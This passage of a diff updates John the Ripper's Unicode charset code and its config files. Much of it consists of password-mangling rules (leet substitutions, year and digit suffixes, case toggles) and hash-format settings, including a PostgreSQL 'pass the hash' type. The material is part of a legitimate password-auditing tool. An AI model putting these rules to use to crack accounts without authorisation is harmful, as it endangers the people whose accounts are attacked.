+	c = 0x1f6dc;		// from WIRELESS
 	while (c <= 0x1f6ec)	// ..to AIRPLANE ARRIVING
 		charset[i++] = c++;
 	c = 0x1f6f0;		// from SATELLITE
@@ -2306,15 +2493,19 @@ void init()
 		charset[i++] = c++;
 // 1F700..1F77F; Alchemical Symbols
 	c = 0x1f700;		// from ALCHEMICAL SYMBOL FOR QUINTESSENCE
-	while (c <= 0x1f773)	// ..to ALCHEMICAL SYMBOL FOR HALF OUNCE
+	while (c <= 0x1f776)	// ..to LUNAR ECLIPSE
+		charset[i++] = c++;
+	c = 0x1f77b;		// from HAUMEA
+	while (c <= 0x1f77f)	// ..to ORCUS
 		charset[i++] = c++;
 // 1F780..1F7FF; Geometric Shapes Extended
 	c = 0x1f780;		// from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
-	while (c <= 0x1f7d8)	// ..to NEGATIVE CIRCLED SQUARE
+	while (c <= 0x1f7d9)	// ..to NINE POINTED WHITE STAR
 		charset[i++] = c++;
 	c = 0x1f7e0;		// from LARGE ORANGE CIRCLE
 	while (c <= 0x1f7eb)	// ..to LARGE BROWN SQUARE
 		charset[i++] = c++;
+	charset[i++] = 0x1f7f0;	// HEAVY EQUALS SIGN
 // 1F800..1F8FF; Supplemental Arrows-C
 	c = 0x1f800;		// from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
 	while (c <= 0x1f80b)	// ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2331,16 +2522,13 @@ void init()
 	c = 0x1f890;		// from LEFTWARDS TRIANGLE ARROWHEAD
 	while (c <= 0x1f8ad)	// ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
 		charset[i++] = c++;
-	charset[i++] = 0x1f8b0;	// ARROW POINTING UPWARDS THEN NORTH WEST
-	charset[i++] = 0x1f8b1;	// ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
+	c = 0x1f8b0;		// from ARROW POINTING UPWARDS THEN NORTH WEST
+	while (c <= 0x1f8bb)	// ..to SOUTH WEST ARROW FROM BAR
+		charset[i++] = c++;
+	charset[i++] = 0x1f8c0;	// LEFTWARDS ARROW FROM DOWNWARDS ARROW
+	charset[i++] = 0x1f8c1;	// RIGHTWARDS ARROW FROM DOWNWARDS ARROW
 // 1F900..1F9FF; Supplemental Symbols and Pictographs
 	c = 0x1f900;		// from CIRCLED CROSS FORMEE WITH FOUR DOTS
-	while (c <= 0x1f978)	// ..to DISGUISED FACE
-		charset[i++] = c++;
-	c = 0x1f97a;		// from FACE WITH PLEADING EYES
-	while (c <= 0x1f9cb)	// ..to BUBBLE TEA
-		charset[i++] = c++;
-	c = 0x1f9cd;		// from STANDING PERSON
 	while (c <= 0x1f9ff)	// ..to NAZAR AMULET
 		charset[i++] = c++;
 // 1FA00..1FA6F; Chess Symbols
@@ -2352,41 +2540,37 @@ void init()
 		charset[i++] = c++;
 // 1FA70..1FAFF; Symbols and Pictographs Extended-A
 	c = 0x1fa70;		// from BALLET SHOES
-	while (c <= 0x1fa74)	// ..to THONG SANDAL
+	while (c <= 0x1fa7c)	// ..to CRUTCH
 		charset[i++] = c++;
-	charset[i++] = 0x1fa78;	// DROP OF BLOOD
-	charset[i++] = 0x1fa7a;	// STETHOSCOPE
 	c = 0x1fa80;		// from YO-YO
-	while (c <= 0x1fa86)	// ..to NESTING DOLLS
+	while (c <= 0x1fa89)	// ..to HARP
 		charset[i++] = c++;
-	c = 0x1fa90;		// from RINGED PLANET
-	while (c <= 0x1faa8)	// ..to ROCK
+	c = 0x1fa8f;		// from SHOVEL
+	while (c <= 0x1fac6)	// ..to FINGERPRINT
 		charset[i++] = c++;
-	c = 0x1fab0;		// from FLY
-	while (c <= 0x1fab6)	// ..to FEATHER
+	c = 0x1face;		// from MOOSE
+	while (c <= 0x1fadc)	// ..to ROOT VEGETABLE
 		charset[i++] = c++;
-	charset[i++] = 0x1fac0;	// ANATOMICAL HEART
-	charset[i++] = 0x1fac2;	// PEOPLE HUGGING
-	c = 0x1fad0;		// from BLUEBERRIES
-	while (c <= 0x1fad6)	// ..to TEAPOT
+	c = 0x1fadf;		// from SPLATTER
+	while (c <= 0x1fae9)	// ..to FACE WITH BAGS UNDER EYES
+		charset[i++] = c++;
+	c = 0x1faf0;		// from HAND WITH INDEX FINGER AND THUMB CROSSED
+	while (c <= 0x1faf8)	// ..to RIGHTWARDS PUSHING HAND
 		charset[i++] = c++;
 // 1FB00..1FBFF; Symbols for Legacy Computing
 	c = 0x1fb00;		// from BLOCK SEXTANT-1
 	while (c <= 0x1fb92)	// ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
 		charset[i++] = c++;
 	c = 0x1fb94;		// from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
-	while (c <= 0x1fbca)	// ..to WHITE UP-POINTING CHEVRON
-		charset[i++] = c++;
-	c = 0x1fbf0;		// from SEGMENTED DIGIT ZERO
 	while (c <= 0x1fbf9)	// ..to SEGMENTED DIGIT NINE
 		charset[i++] = c++;
 // 20000..2A6DF; CJK Unified Ideographs Extension B
 	c = 0x20000;		// from <CJK Ideograph Extension B, First>
-	while (c <= 0x2a6dd)	// ..to <CJK Ideograph Extension B, Last>
+	while (c <= 0x2a6df)	// ..to <CJK Ideograph Extension B, Last>
 		charset[i++] = c++;
 // 2A700..2B73F; CJK Unified Ideographs Extension C
 	c = 0x2a700;		// from <CJK Ideograph Extension C, First>
-	while (c <= 0x2b734)	// ..to <CJK Ideograph Extension C, Last>
+	while (c <= 0x2b739)	// ..to <CJK Ideograph Extension C, Last>
 		charset[i++] = c++;
 // 2B740..2B81F; CJK Unified Ideographs Extension D
 	c = 0x2b740;		// from <CJK Ideograph Extension D, First>
@@ -2400,6 +2584,10 @@ void init()
 	c = 0x2ceb0;		// from <CJK Ideograph Extension F, First>
 	while (c <= 0x2ebe0)	// ..to <CJK Ideograph Extension F, Last>
 		charset[i++] = c++;
+// 2EBF0..2EE5F; CJK Unified Ideographs Extension I
+	c = 0x2ebf0;		// from <CJK Ideograph Extension I, First>
+	while (c <= 0x2ee5d)	// ..to <CJK Ideograph Extension I, Last>
+		charset[i++] = c++;
 // 2F800..2FA1F; CJK Compatibility Ideographs Supplement
 	c = 0x2f800;		// from CJK COMPATIBILITY IDEOGRAPH-2F800
 	while (c <= 0x2fa1d)	// ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
@@ -2408,6 +2596,10 @@ void init()
 	c = 0x30000;		// from <CJK Ideograph Extension G, First>
 	while (c <= 0x3134a)	// ..to <CJK Ideograph Extension G, Last>
 		charset[i++] = c++;
+// 31350..323AF; CJK Unified Ideographs Extension H
+	c = 0x31350;		// from <CJK Ideograph Extension H, First>
+	while (c <= 0x323af)	// ..to <CJK Ideograph Extension H, Last>
+		charset[i++] = c++;
 // E0000..E007F; Tags
 	c = 0xe0020;		// from TAG SPACE
 	while (c <= 0xe007f)	// ..to CANCEL TAG

data/jtr/dynamic.conf

@@ -466,7 +466,7 @@ Test=$dynamic_1014$e463b65f14643afd970c7ea7e7efeb0f$1234567890123456789012345678
 ####################################################################
 # Dynamic type for md5(md5($p.$u).$s) for PostgreSQL 'pass the hash' weakness
 # See also dynamic_1034 for PostgreSQL MD5
-# http://www.openwall.com/lists/oss-security/2015/03/03/12
+# https://www.openwall.com/lists/oss-security/2015/03/03/12
 ####################################################################
 [List.Generic:dynamic_1015]
 Expression=md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')

data/jtr/john.conf

@@ -1,6 +1,6 @@
 #
 # This file is part of John the Ripper password cracker,
-# Copyright (c) 1996-2006,2008-2013,2019 by Solar Designer
+# Copyright (c) 1996-2025 by Solar Designer and others
 #
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
@@ -11,8 +11,6 @@
 # license above, many source files in John the Ripper are under GPLv2.
 # For licensing terms for John the Ripper as a whole, see doc/LICENSE.
 #
-# ...with changes in the jumbo patch, by various authors
-#
 
 # The [Options] section is for general options only.
 # Note that MPI specific options have been moved
@@ -108,23 +106,35 @@ LogDateStderrFormat =
 # parsed as ESC for use in ANSI codes (like in the default)
 TerminalReset = ^[0m
 
+# If this is true, colorize some messages - such as test failures - if stdout
+# is a terminal.
+# The color codes can be redefined here if needed. The ^ character will be
+# parsed as ESC for use in ANSI escape sequences (like in the defaults here,
+# which define red for errors, green for notices and yellow for warnings).
+# Note that you don't strictly need to use ANSI sequences - other things are
+# fine too.
+# Set this to N or comment it out to disable all color stuff.
+UseColors = Y
+ColorError = ^[0;31m
+ColorNotice = ^[0;32m
+ColorWarning = ^[0;33m
+ColorEnd = ^[0m
+
 # This can be used to colorize (on screen) or otherwise emphasize (in log
-# files) output whenever a supposed administrator password gets cracked.
+# files or if stdout is not a terminal) output whenever a supposed
+# administrator password, or some other password, gets cracked.
+#
+# The colors used will be yellow for regular cracks and red for users that we
+# know or guess are admin users (including but not limited to uid 0 or 500,
+# or login 'root' or 'Administrator').
 #
 # Set this to N or comment it out to disable all "MarkAdmin" stuff.
 MarkAdminCracks = Y
+ColorAdmin = ^[0;31m
+ColorCrack = ^[0;33m
 
-# If MarkAdminCracks = Y above, the below will be used (if defined) for
-# terminal output. The default is to change color to red before the username
-# and reset to normal after it. Any "^" characters will be parsed as ESC for
-# use in ANSI codes (like in the defaults).
-# The "MarkOther" entries will make non-admin stuff brown.
-MarkAdminStart = ^[0;31m
-MarkAdminEnd = ^[0m
-MarkOtherStart = ^[0;33m
-MarkOtherEnd = ^[0m
-
-# If MarkAdminCracks = Y above, the below will be used (if defined) for logs.
+# If MarkAdminCracks = Y above, the below will be used (if defined) for logs
+# or otherwise where stdout is not a terminal.
 # This literal string will be printed after the " + Cracked: root" line.
 MarkAdminString = (ADMIN ACCOUNT)
 
@@ -173,7 +183,7 @@ SingleWordsPairMax = 6
 
 # Setting this to false stops Single mode from re-testing guessed plaintexts
 # with all other salts.  This is deprecated: Use command-line per-session
-# option --single-retest-guess=no instead.
+# option --no-single-retest-guess instead.
 SingleRetestGuessed = Y
 
 # Max recursion depth for SingleRetestGuessed, so we don't blow the stack
@@ -239,8 +249,22 @@ ShowRemainOnStatus = N
 # Write cracked passwords to the log file (default is just the user name)
 LogCrackedPasswords = N
 
+# Log per-rule statistics usable to generate re-ordered rule set with:
+#  cut -c14- john.log | grep '^Score ' | sort -rnk 2 | cut -d: -f2- | sed 's/\\/\\\\/g; s/\[/\\[/g; s/^-: //'
+# or for use on the slowest hashes:
+#  cut -c14- john.log | grep '^Score ' | sort -nk 4 | cut -d: -f2- | sed 's/\\/\\\\/g; s/\[/\\[/g; s/^-: //'
+# The "sed" invocation in these commands is to make the pre-processed rules
+# suitable for our rule preprocessor again.  It should be omitted for
+# re-ordering hashcat mode rule sets, because that mode disables the
+# preprocessor.  And yes, you cannot use these commands for re-ordering mixed
+# JtR native and hashcat mode rule sets, such as our Jumbo rule set, which
+# currently includes hashcat's best64.  That's not only because of the
+# preprocessor, but also because hashcat mode on/off would get misplaced.
+# Please note that enabling this option has some performance impact.
+PerRuleStats = N
+
 # Disable the dupe checking when loading hashes. For testing purposes only!
-# This is deprecated: Use per-session option --loader-dupecheck=no instead.
+# This is deprecated: Use per-session option --no-loader-dupe-check instead.
 NoLoaderDupeCheck = N
 
 # Default encoding for input files (ie. login/GECOS fields) and wordlists
@@ -350,6 +374,17 @@ AbortGraceTime = 30
 # This may produce some false positives if enabled, at least for SAP-B.
 SAPhalfHashes = N
 
+# Opportunistic duplicate candidate password suppressor for wordlist+rules
+[Options:Suppressor]
+# Memory allocation size in MiB per process, 0 to disable unless forced.
+# The default is 256 MiB, the maximum is just below 256 GiB (on 64-bit).
+Size = 256
+
+# Whether to lock the oldest half of entries as write-once (and only ever
+# update the other half).  Empirically, this often provides best results,
+# but it can also backfire.  The default is yes.
+LockHalf = Y
+
 [Options:CPUtune]
 # If preset is given, use it and skip autotune (NOTE: non-intel archs will
 # currently ignore this option and always autotune)
@@ -395,7 +430,22 @@ AbortTemperature = 95
 # interpret as intent to keep the GPU temperature around the limit.
 SleepOnTemperature = 1
 
+# Enable a workaround for busy-waits, introducing calls to usleep(3).  This
+# currently only applies to some formats on NVIDIA GPUs under Linux.
+AvoidBusyWait = Y
+
 [Options:OpenCL]
+# Mute buggy nvidia warnings about kernel overriding noinline
+# attribute. Even with this set, they will show at "debug verbosity"
+# as in --verbose:6.
+MuteBogusWarnings = Y
+
+# Add ptxas info (-cl-nv-verbose) to build options for nvidia
+NvidiaShowPtxas = Y
+
+# Show runtime build warnings regardless of verbosity.
+AlwaysShowBuildWarnings = N
+
 # Set default OpenCL device(s). Command line option will override this.
 # If not set, we will search for a GPU or fall-back to the most
 # powerful device.  Syntax is same as --device option.
@@ -722,7 +772,6 @@ DefaultCharset =
 -c /?d @?d >3 M [lc] Q Az"123" <+
 /?d @?d >2 al d
 -c /?d @?d >2 al M [lc] Q d
-(?a )?d /?d a0 'p Xpz0
 )?a (?d /?a a0 'p Xpz0
 
 # "Single crack" mode rules
@@ -730,11 +779,17 @@ DefaultCharset =
 # Simple rules come first...
 :
 -s x**
+<* $1
 -c (?a c Q
--c l Q
+(?a )?d /?d a0 'p Xpz0
+<* $[230754968]
+-c [lu] Q
 -s-c x** /?u l
-# These were not included in crackers I've seen, but are pretty efficient,
-# so I include them near the beginning
+Az"123" <+
+r c
+-c )?a r l
+<* $!
+<* p
 -<6 >6 '6
 -<7 >7 '7 l
 -<6 -c >6 '6 /?u l
@@ -746,12 +801,9 @@ DefaultCharset =
 # Weird order, eh? Can't do anything about it, the order is based on the
 # number of successful cracks...
 <* d
-r c
 -c <* (?a d c
 -<5 -c >5 '5 /?u l
--c u Q
--c )?a r l
--[:c] <* !?A \p1[lc] p
+-c <* [lc] Q p
 -c <* c Q d
 -<7 -c >7 '7 /?u
 -<4 >4 '4 l
@@ -779,51 +831,49 @@ r c
 # >4 x32 /?u l ... >9 x37 /?u l
 -c >[4-9] x3\p[2-7] /?u l
 # Now to the suffix stuff...
-<* l $[1-9!0a-rt-z"-/:-@\[-`{-~]
--c <* (?a c $[1-9!0a-rt-z"-/:-@\[-`{-~]
--[:c] <* !?A (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
--[:c] <* /?A (?\p1[za] \p1[lc] $s
-<* l r $[1-9!]
--c <* /?a u $[1-9!]
--[:c] <- (?\p1[za] \p1[lc] Az"'s"
--[:c] <- (?\p1[za] \p1[lc] Az"!!"
--[:c] (?\p1[za] \p1[lc] $! <- Az"!!"
+-c <* [lc] Q $[1230754968!]
+-\r[:cc] <* \p1[:lc] \r\p1[:QQ] $[a-rt-z"-/:-@\[-`{-~]
+-[:c] <* (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
+<* l r $[1230754968!]
+-c <* /?a u $[1230754968!]
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"'s"
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"!!"
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] $! <- Az"!!"
 # Removing vowels...
--[:c] /?v @?v >2 (?\p1[za] \p1[lc]
+-\r[:cc] /?v @?v >2 M \p1[:lc] \r\p1[:QQ]
 /?v @?v >2 <* d
 # crack -> cracked, crack -> cracking
-<* l [PI]
--c <* l [PI] (?a c
+-\r[:cc] <* \p1[:lc] \r\p1[:QQ] [PI]
 # mary -> marie
--[:c] <* (?\p1[za] \p1[lc] )y omi $e
+-\r[:cc] <* \p1[:lc] \r\p1[:QQ] )y omi $e
 # marie -> mary
--[:c] (?\p1[za] \p1[lc] )e \] <+ )i val1 oay
+-\r[:cc] <* \p1[:lc] \r\p1[:QQ] )e \] <+ )i val1 oay
 # The following are some 3l33t rules
--[:c] l /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c]
--[:c] l /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c]
--[:c] l /e /[los] se3 s\0\p[10$] (?\p1[za] \p1[:c]
--[:c] l /l /[os] sl1 s\0\p[0$] (?\p1[za] \p1[:c]
--[:c] l /o /s so0 ss$ (?\p1[za] \p1[:c]
--[:c] l /a /e /[los] sa4 se3 s\0\p[10$] (?\p1[za] \p1[:c]
--[:c] l /a /l /[os] sa4 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
--[:c] l /a /o /s sa4 so0 ss$ (?\p1[za] \p1[:c]
--[:c] l /e /l /[os] se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
--[:c] l /[el] /o /s s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
--[:c] l /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
--[:c] l /a /[el] /o /s sa4 s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
--[:c] l /e /l /o /s se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
--[:c] l /a /e /l /o /s sa4 se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /[los] se3 s\0\p[10$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /l /[os] sl1 s\0\p[0$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /o /s so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /[los] sa4 se3 s\0\p[10$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /l /[os] sa4 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /o /s sa4 so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /l /[os] se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /[el] /o /s s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /l /o /s se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /l /o /s sa4 se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
 # Now to the prefix stuff...
 l ^[1a-z2-90]
 -c l Q ^[A-Z]
 ^[A-Z]
 l ^["-/:-@\[-`{-~]
--[:c] <9 (?a \p1[lc] A0"[tT]he"
--[:c] <9 (?a \p1[lc] A0"[aA]my"
--[:c] <9 (?a \p1[lc] A0"[mdMD]r"
--[:c] <9 (?a \p1[lc] A0"[mdMD]r."
--[:c] <9 (?a \p1[lc] A0"__"
-<- !?A l p ^[240-9]
+-[:c] <9 (?\p1[za] \p1[lc] A0"[tT]he"
+-[:c] <9 (?\p1[za] \p1[lc] A0"[aA]my"
+-[:c] <9 (?\p1[za] \p1[lc] A0"[mdMD]r"
+-[:c] <9 (?\p1[za] \p1[lc] A0"[mdMD]r."
+-[:c] <9 (?\p1[za] \p1[lc] A0"__"
+<- l p ^[240-9]
 # Some word pair rules...
 # johnsmith -> JohnSmith, johnSmith
 -p-c (?a 2 (?a c 1 [cl]
@@ -841,8 +891,8 @@ l ^["-/:-@\[-`{-~]
 -p-[c:] 1 l 2 \p1[ur]
 -p-c 1 (?a c 2 [ur]
 # jsmith -> smithj, etc...
--[:c] (?a \p1[lc] [{}]
--[:c] (?a \p1[lc] [{}] \0
+-\r[:cc] \p1[:lc] \r\p1[:QQ] [{}]
+-\r[:cc] \p1[:lc] \r\p1[:QQ] [{}] \0
 # Toggle case...
 -c <+ )?u l Tm
 -c T0 Q M c Q l Q u Q C Q X0z0 'l
@@ -858,14 +908,11 @@ l ^["-/:-@\[-`{-~]
 =1?a \[ M c Q
 -c (?a >[1-9A-E] D\1 c
 # Inserting a dot...
--[:c] >3 (?a \p1[lc] i[12].
+-\r[:cc] >3 \p1[:lc] \r\p1[:QQ] i[12].
 # More suffix stuff...
-<- l Az"[190][0-9]"
--c <- (?a c Az"[190][0-9]"
-<- l Az"[782][0-9]"
--c <- (?a c Az"[782][0-9]"
-<* l $[A-Z]
--c <* (?a c $[A-Z]
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[190][0-9]"
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[782][0-9]"
+-\r[:cc] <* \p1[:lc] \r\p1[:QQ] $[A-Z]
 # cracking -> CRACKiNG
 -c u /I sIi
 # Crack96 -> cRACK96
@@ -880,33 +927,32 @@ l Q [RL]
 -c (?a c Q [RL]
 :[RL] \0 Q
 # Both prefixing and suffixing...
-<- l ^[1!@#$%^&*\-=_+.?|:'"] $\1
+<- l ^[10-9!@#$%^&*\-=_+.?|:'"] $\0
 <- l ^[({[<] $\p[)}\]>]
 # The rest of two-digit suffix stuff, less common numbers...
-<- l Az"[63-5][0-9]"
--c <- (?a c Az"[63-5][0-9]"
+-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[63-5][0-9]"
 # Some multi-digit numbers...
--[:c] (?a \p1[lc] Az"007" <+
--[:c] (?a \p1[lc] Az"123" <+
--[:c] (?a \p1[lc] Az"[0-9]\0\0" <+
--[:c] (?a \p1[lc] Az"1234" <+
--[:c] (?a \p1[lc] Az"[0-9]\0\0\0" <+
--[:c] (?a \p1[lc] Az"12345" <+
--[:c] (?a \p1[lc] Az"[0-9]\0\0\0\0" <+
--[:c] (?a \p1[lc] Az"123456" <+
--[:c] (?a \p1[lc] Az"[0-9]\0\0\0\0\0" <+
+-c [lc] Q Az"123" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"007" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"1234" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"12345" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0\0" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"123456" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0\0\0" <+
 # Some [birth] years...
-l Az"19[7-96-0]" <+ >-
-l Az"20[012]" <+ >-
-l Az"19[7-9][0-9]" <+
-l Az"20[012][0-9]" <+
-l Az"19[6-0][9-0]" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[7-96-0]" <+ >-
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"20[012]" <+ >-
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[7-9][0-9]" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"20[012][0-9]" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[6-0][9-0]" <+
 
 [List.Rules:Extra]
-# Insert/overstrike some characters...
-!?A >[1-6] l i\0[a-z]
-!?A l o0[a-z]
-!?A >[1-7] l o\0[a-z]
+# Overstrike/insert some characters...
+o0[a-z10-9A-Z] Q
+>[1-7] o\0[a-z10-9_@.\-#!] Q
+>[1-6] i\0[a-z10-9_@.\-# ]
 # Toggle case everywhere (up to length 8), assuming that certain case
 # combinations were already tried.
 -c T1 Q M T0 Q
@@ -917,13 +963,20 @@ l Az"19[6-0][9-0]" <+
 -c T6 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] Q
 -c T7 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] T[z6] Q
 # Very slow stuff...
-l Az"[1-90][0-9][0-9]" <+
--c (?a c Az"[1-90][0-9][0-9]" <+
+-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[1-90][0-9][0-9]" <+
 <[\-9] l A\p[z0]"[a-z][a-z]"
+<- l ^[A-Z] $\0
 <- l ^[a-z] $[a-z]
 
-# Wordlist mode rules
+.include <rules-by-score.conf>
+.include <rules-by-rate.conf>
+
+# New default wordlist mode rules
 [List.Rules:Wordlist]
+.include [List.Rules:Best-by-score]
+
+# Former default wordlist mode rules, now usable to enforce a policy
+[List.Rules:Policy]
 # Try words as they are
 :
 # Lowercase every pure alphanumeric word
@@ -1094,39 +1147,78 @@ s[ ][,&+*!'$/?:=#~] Q
 :
 ->F -<F >F 'F
 
-# Rules from Hash Runner 2014
+# Overstrike/insert rules originally from Hash Runner 2014
+
+# Overstrike any one character
 [List.Rules:o1]
-# o[0-9A-Z][ -~]
+# Trivial
+#o[0-9A-Z][ -~]
+# Optimized
 ->\r[1-9A-ZZ] >\p[0-9A-Z] o\0[ -~] Q
 
+# Overstrike any two characters
 [List.Rules:o2]
-# o[0-9A-E][ -~] Q M o[0-9A-E][ -~] Q
-->[1-9A-F] ->[1-9A-F] >\p1[0-9A-E] >\p2[0-9A-E] o\3[ -~] Q M o\4[ -~] Q
-
-[List.Rules:o3]
-# o[0-9][ -~] Q M o[0-9][ -~] Q M o[0-9][ -~] Q
-->[1-9A] ->[1-9A] ->[1-9A] >\p1[0-9] >\p2[0-9] >\p3[0-9] o\4[ -~] Q M o\5[ -~] Q M o\6[ -~] Q
+# Simple
+#o[0-9A-E][ -~] Q M o[0-9A-E][ -~] Q
+# Optimized, assumes we also run o1 separately if needed
+#->[1-9A-F] ->[2-9A-F] >\p1[0-9A-E] >\p2[1-9A-E] o\3[ -~] Q M o\4[ -~] Q
+# Optimized further, same assumption
+->[2-9A-F] >\p[1-9A-E] o0[ -~] Q M o\2[ -~] Q
+->[3-9A-F] >\p[2-9A-E] o1[ -~] Q M o\2[ -~] Q
+->[4-9A-F] >\p[3-9A-E] o2[ -~] Q M o\2[ -~] Q
+->[5-9A-F] >\p[4-9A-E] o3[ -~] Q M o\2[ -~] Q
+->[6-9A-F] >\p[5-9A-E] o4[ -~] Q M o\2[ -~] Q
+->[7-9A-F] >\p[6-9A-E] o5[ -~] Q M o\2[ -~] Q
+->[8-9A-F] >\p[7-9A-E] o6[ -~] Q M o\2[ -~] Q
+->[9A-F] >\p[8-9A-E] o7[ -~] Q M o\2[ -~] Q
+->[A-F] >\p[9A-E] o8[ -~] Q M o\2[ -~] Q
+->[B-F] >\p[A-E] o9[ -~] Q M o\2[ -~] Q
+->[C-F] >\p[B-E] oA[ -~] Q M o\2[ -~] Q
+->[D-F] >\p[C-E] oB[ -~] Q M o\2[ -~] Q
+->[E-F] >\p[D-E] oC[ -~] Q M o\2[ -~] Q
+->F >E oD[ -~] Q M oE[ -~] Q
 
+# Overstrike any one or two characters
 [List.Rules:o]
 .include [List.Rules:o1]
 .include [List.Rules:o2]
 
+# Insert any one character
 [List.Rules:i1]
-# i[0-9A-Z][ -~]
+# Trivial
+#i[0-9A-Z][ -~]
+# Optimized
 ->\r[2-9A-ZZZ] >\p1[0-9A-Z] i\0[ -~]
 
+# Insert any two characters
 [List.Rules:i2]
-# i[0-9A-E][ -~] i[0-9A-E][ -~]
-->[2-9A-G] ->[2-9A-G] >\p1[0-9A-E] >\p2[0-9A-E] i\3[ -~] i\4[ -~]
-
-[List.Rules:i3]
-# i[0-9][ -~] i[0-9][ -~] i[0-9][ -~]
-->[4-9A-D] ->[4-9A-D] ->[4-9A-D] >\p1[0-9] >\p2[0-9] >\p3[0-9] i\4[ -~] i\5[ -~] i\6[ -~]
+# Trivial
+#i[0-9A-E][ -~] i[0-9A-E][ -~]
+# Optimized
+#->[2-9A-G] ->[2-9A-G] i\p1[0-9A-E][ -~] >\3 >\p2[0-9A-E] i\p2[1-9A-F][ -~]
+# Optimized further
+->[2-9A-G] i0[ -~] >\p1[0-9A-E] i\p1[1-9A-F][ -~]
+->[3-9A-G] i1[ -~] >\p1[1-9A-E] i\p1[2-9A-F][ -~]
+->[4-9A-G] i2[ -~] >\p1[2-9A-E] i\p1[3-9A-F][ -~]
+->[5-9A-G] i3[ -~] >\p1[3-9A-E] i\p1[4-9A-F][ -~]
+->[6-9A-G] i4[ -~] >\p1[4-9A-E] i\p1[5-9A-F][ -~]
+->[7-9A-G] i5[ -~] >\p1[5-9A-E] i\p1[6-9A-F][ -~]
+->[8-9A-G] i6[ -~] >\p1[6-9A-E] i\p1[7-9A-F][ -~]
+->[9A-G] i7[ -~] >\p1[7-9A-E] i\p1[8-9A-F][ -~]
+->[A-G] i8[ -~] >\p1[8-9A-E] i\p1[9A-F][ -~]
+->[B-G] i9[ -~] >\p1[9A-E] i\p1[A-F][ -~]
+->[C-G] iA[ -~] >\p1[A-E] i\p1[B-F][ -~]
+->[D-G] iB[ -~] >\p1[B-E] i\p1[C-F][ -~]
+->[E-G] iC[ -~] >\p1[C-E] i\p1[D-F][ -~]
+->[F-G] iD[ -~] >\p1[D-E] i\p1[E-F][ -~]
+->G iE[ -~] >E iF[ -~]
 
+# Insert any one or two characters
 [List.Rules:i]
 .include [List.Rules:i1]
 .include [List.Rules:i2]
 
+# Overstrike or insert any one or two characters
 [List.Rules:oi]
 .include [List.Rules:o1]
 .include [List.Rules:i1]
